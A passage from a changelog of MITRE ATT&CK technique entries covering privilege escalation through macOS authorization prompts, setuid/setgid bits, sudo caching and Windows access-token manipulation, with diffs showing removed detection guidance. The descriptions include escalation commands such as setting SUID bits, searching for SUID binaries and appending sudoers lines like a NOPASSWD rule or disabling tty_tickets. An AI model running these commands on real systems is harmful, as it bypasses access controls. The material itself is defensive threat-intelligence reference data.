+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-30 14:40:20.187000+00:00",
+ "modified": "2025-10-24 17:49:16.860000+00:00",
+ "name": "Elevated Execution with Prompt",
+ "description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1548/004",
+ "external_id": "T1548.004"
+ },
+ {
+ "source_name": "AppleDocs AuthorizationExecuteWithPrivileges",
+ "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019.",
+ "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg"
+ },
+ {
+ "source_name": "Carbon Black Shlayer Feb 2019",
+ "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.",
+ "url": "https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"
+ },
+ {
+ "source_name": "Death by 1000 installers; it's all broken!",
+ "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019.",
+ "url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8"
+ },
+ {
+ "source_name": "OSX Coldroot RAT",
+ "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019.",
+ "url": "https://objective-see.com/blog/blog_0x2A.html"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Jimmy Astle, @AstleJimmy, Carbon Black",
+ "Erika Noerenberg, @gutterchurl, Carbon Black"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "macOS"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.860000+00:00\", \"old_value\": \"2025-04-16 20:37:19.503000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1038: Execution Prevention"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0395: macOS AuthorizationExecuteWithPrivileges Elevation Prompt Detection"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-30 14:11:41.212000+00:00",
+ "modified": "2025-10-24 17:48:53.456000+00:00",
+ "name": "Setuid and Setgid",
+ "description": "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgid bit, chmod 2775 and chmod g+s can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1548/001",
+ "external_id": "T1548.001"
+ },
+ {
+ "source_name": "GTFOBins Suid",
+ "description": "Emilio Pinna, Andrea Cardaci. (n.d.). GTFOBins. Retrieved January 28, 2022.",
+ "url": "https://gtfobins.github.io/#+suid"
+ },
+ {
+ "source_name": "OSX Keydnap malware",
+ "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
+ "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
+ },
+ {
+ "source_name": "setuid man page",
+ "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.",
+ "url": "http://man7.org/linux/man-pages/man2/setuid.2.html"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Metadata\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:53.456000+00:00\", \"old_value\": \"2025-04-16 20:37:17.707000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1028: Operating System Configuration"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Metadata)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0110: Setuid/Setgid Privilege Abuse Detection (Linux/macOS)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-30 14:34:44.992000+00:00",
+ "modified": "2025-10-24 17:48:26.105000+00:00",
+ "name": "Sudo and Sudo Caching",
+ "description": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1548/003",
+ "external_id": "T1548.003"
+ },
+ {
+ "source_name": "sudo man page 2018",
+ "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
+ "url": "https://www.sudo.ws/"
+ },
+ {
+ "source_name": "OSX.Dok Malware",
+ "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
+ "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
+ },
+ {
+ "source_name": "cybereason osx proton",
+ "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.",
+ "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Command: Command Execution\", \"Process: Process Creation\", \"Process: Process Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.105000+00:00\", \"old_value\": \"2025-04-25 14:45:52.996000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1022: Restrict File and Directory Permissions",
+ "M1026: Privileged Account Management",
+ "M1028: Operating System Configuration"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0009: Process (Process Metadata)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0052: Behavioral Detection Strategy for Abuse of Sudo and Sudo Caching"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-12-14 16:46:06.044000+00:00",
+ "modified": "2025-10-24 17:49:29.051000+00:00",
+ "name": "Access Token Manipulation",
+ "description": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1134",
+ "external_id": "T1134"
+ },
+ {
+ "source_name": "BlackHat Atkinson Winchester Token Manipulation",
+ "description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.",
+ "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf"
+ },
+ {
+ "source_name": "Microsoft Command-line Logging",
+ "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
+ "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
+ },
+ {
+ "source_name": "Microsoft LogonUser",
+ "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.",
+ "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx"
+ },
+ {
+ "source_name": "Microsoft DuplicateTokenEx",
+ "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.",
+ "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx"
+ },
+ {
+ "source_name": "Microsoft ImpersonateLoggedOnUser",
+ "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.",
+ "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx"
+ },
+ {
+ "source_name": "Pentestlab Token Manipulation",
+ "description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.",
+ "url": "https://pentestlab.blog/2017/04/03/token-manipulation/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Tom Ueltschi @c_APT_ure",
+ "Travis Smith, Tripwire",
+ "Robby Winchester, @robwinchester3",
+ "Jared Atkinson, @jaredcatkinson"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "2.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\", \"User Account: User Account Metadata\", \"Process: Process Metadata\", \"Process: Process Creation\", \"Active Directory: Active Directory Object Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:29.051000+00:00\", \"old_value\": \"2025-04-16 20:37:21.869000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n\\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \\n\\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\\n\\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\\n\\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n-\\n-If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \\n-\\n-There are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\\n-\\n-Query systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\\n-\\n-Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.\"}}}",
+ "previous_version": "2.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1026: Privileged Account Management"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0002: User Account (User Account Metadata)",
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0009: Process (Process Metadata)",
+ "DS0017: Command (Command Execution)",
+ "DS0026: Active Directory (Active Directory Object Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0283: Behavior-chain detection for T1134 Access Token Manipulation on Windows"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-18 16:48:56.582000+00:00",
+ "modified": "2025-10-24 17:48:53.370000+00:00",
+ "name": "Create Process with Token",
+ "description": "Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process.\n\nWhile this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1134/002",
+ "external_id": "T1134.002"
+ },
+ {
+ "source_name": "Microsoft Command-line Logging",
+ "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
+ "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
+ },
+ {
+ "source_name": "Microsoft RunAs",
+ "description": "Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021.",
+ "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Vadim Khrykov",
+ "Jonny Johnson"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:53.370000+00:00\", \"old_value\": \"2025-04-16 20:37:17.537000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n\\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.\\n\\nAnalysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n-\\n-If an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.\\n-\\n-Analysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1026: Privileged Account Management"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0456: Behavior-chain detection for T1134.002 Create Process with Token (Windows)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-18 18:03:37.481000+00:00",
+ "modified": "2025-10-24 17:49:05.200000+00:00",
+ "name": "Make and Impersonate Token",
+ "description": "Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function.(Citation: LogonUserW function) The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.\n\nThis behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1134/003",
+ "external_id": "T1134.003"
+ },
+ {
+ "source_name": "Microsoft Command-line Logging",
+ "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
+ "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
+ },
+ {
+ "source_name": "LogonUserW function",
+ "description": "Microsoft. (2023, March 10). LogonUserW function (winbase.h). Retrieved January 8, 2024.",
+ "url": "https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Jonny Johnson"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.200000+00:00\", \"old_value\": \"2025-04-15 19:58:49.948000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n\\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\\n\\nAnalysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n-\\n-If an adversary is using a payload that calls the 